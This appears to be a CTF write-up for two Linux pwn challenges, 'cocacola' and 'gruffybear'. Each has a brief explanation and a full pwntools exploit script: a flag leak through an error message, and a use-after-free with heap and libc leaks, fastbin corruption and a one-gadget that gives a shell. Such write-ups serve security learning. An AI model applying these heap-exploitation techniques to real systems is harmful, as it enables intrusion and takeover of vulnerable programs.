Introduction
This post will include the two write-ups on Linux pwn challenges:cocacola, gruffybear.
Cocacola
The binary will load the flag into memory at 0x700b1000, I have to use the error message output to read the flag.
from pwn import * import time DEBUG = int(sys.argv[1]); image = ELF("./cocacola"); if(DEBUG == 0): r =remote("ctf.pwn.sg", 4001); elif(DEBUG == 1): r = process("./cocacola"); elif(DEBUG == 2): r = process("./cocacola"); gdb.attach(r, '''source script.py'''); def halt(): while(True): log.info(r.recvline()); def exploit(): r.recvuntil("(y/n)"); #r.sendline("D\xc5"); r.send("D\xc5"); sleep(2); r.send("A"*(0xff-8) + "a"+ p64(0x700b1000) + p64(0)*0) r.recvuntil("Error"); #r.sendline("ABCD"); #r.clean(); #r.sendline("\x00"); halt(); exploit();
GruffyBear
There is an obvious use-after-free vulnerability in the code. Massage heap memory properly. At first I want to trigger magic gadget via the crafted self-destruction pointer, but I cannot set stack layout properly. So I change to use house-of-spirit to deploy fastbin corruption attack in the end and get the shell.
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("ctf.pwn.sg", 4002); elif(DEBUG == 1): env = {"LD_PRELOAD":"./libc-2.23.so"}; r = process("./gruffy", env=env); elif(DEBUG == 2): env = {"LD_PRELOAD":"./libc-2.23.so"}; r = process("./gruffy", env=env); gdb.attach(r, '''source script.py'''); libc = ELF("./libc-2.23.so"); def build(name, idnum, age, desc): r.recvuntil("0. Exit"); r.sendline("1"); r.recvuntil(":"); r.send(name.ljust(0x1f, "\x00")); r.recvuntil(":"); r.sendline(str(idnum)); r.recvuntil(":"); r.sendline(str(age)); r.recvuntil(":"); r.send(desc.ljust(0x80, "\x00")); def select(num): r.recvuntil("0. Exit"); r.sendline("2"); r.recvuntil(":"); r.sendline(str(num)); def delete(): r.recvuntil("0. Exit"); r.sendline("3"); def info(): r.recvuntil("0. Exit"); r.sendline("4"); def addComment(size, content): r.recvuntil("0. Exit"); r.sendline("5"); r.recvuntil(":"); r.sendline(str(size)); r.recvuntil(":"); r.send(content.ljust(size, "\x00")); def selfDestruct(): r.recvuntil("0. Exit"); r.sendline("7"); def exploit(): build("AAAA", 10, 20, "aaaa" ); #0 build("BBBB", 10, 20, "bbbb" ); #1 build("CCCC", 10, 20, "cccc" ); #2 build("DDDD", 10, 20, "dddd" ); #3 build("EEEE", 10, 20, "eeee" ); #4 build("FFFF", 10, 20, "ffff" ); #5 build("GGGG", 10, 20, "gggg" ); #6 build("HHHH", 10, 20, "hhhh" ); #7 build("IIII", 10, 20, "iiii" ); #8 build("JJJJ", 10, 20, "jjjj" ); #9 select(1); delete(); select(3); delete(); info(); r.recvuntil("You have selected: ["); leaked = r.recv(6); leakValue = u64(leaked + "\x00\x00"); heapAddr = leakValue - 0xc0; log.info("leakValue: 0x%x" % leakValue); log.info("heap base: 0x%x" % heapAddr); select(1); info(); r.recvuntil("You have selected: ["); leaked = r.recv(6); leakValue = u64(leaked + "\x00\x00"); log.info("leakValue: 0x%x" % leakValue); libcBase = leakValue - 0x3c4b78; log.info("libc base addr: 0x%x" % libcBase); freeAddr = libcBase + libc.symbols['free']; addComment(0xa8, "T"*0x98 + p64(freeAddr) + p64(0x414141414141)); select(4); delete(); select(5); delete(); select(6); delete(); select(7); delete(); payload = "A"*0xb8 + p64(0x71) + "B"*0x68 + p64(0x21) + "C"*0x38 + p64(freeAddr); payload = payload + "D"*8 + p64(0x71) + "E"*0x68 + p64(0x21) + "F"*0x38 + p64(freeAddr); addComment(0x250, payload); select(4); delete(); select(5); delete(); select(4); delete(); addComment(0x60, p64(libcBase + 0x3c4afd)); addComment(0x60, p64(0x4242424242)); addComment(0x60, p64(0x4343434343)); addComment(0x60, "A"*0x3 + p64(libcBase + 0xf1147)); r.recvuntil("0. Exit"); r.sendline("5"); r.recvuntil(":"); r.sendline(str(0x4563546)); r.interactive(); exploit();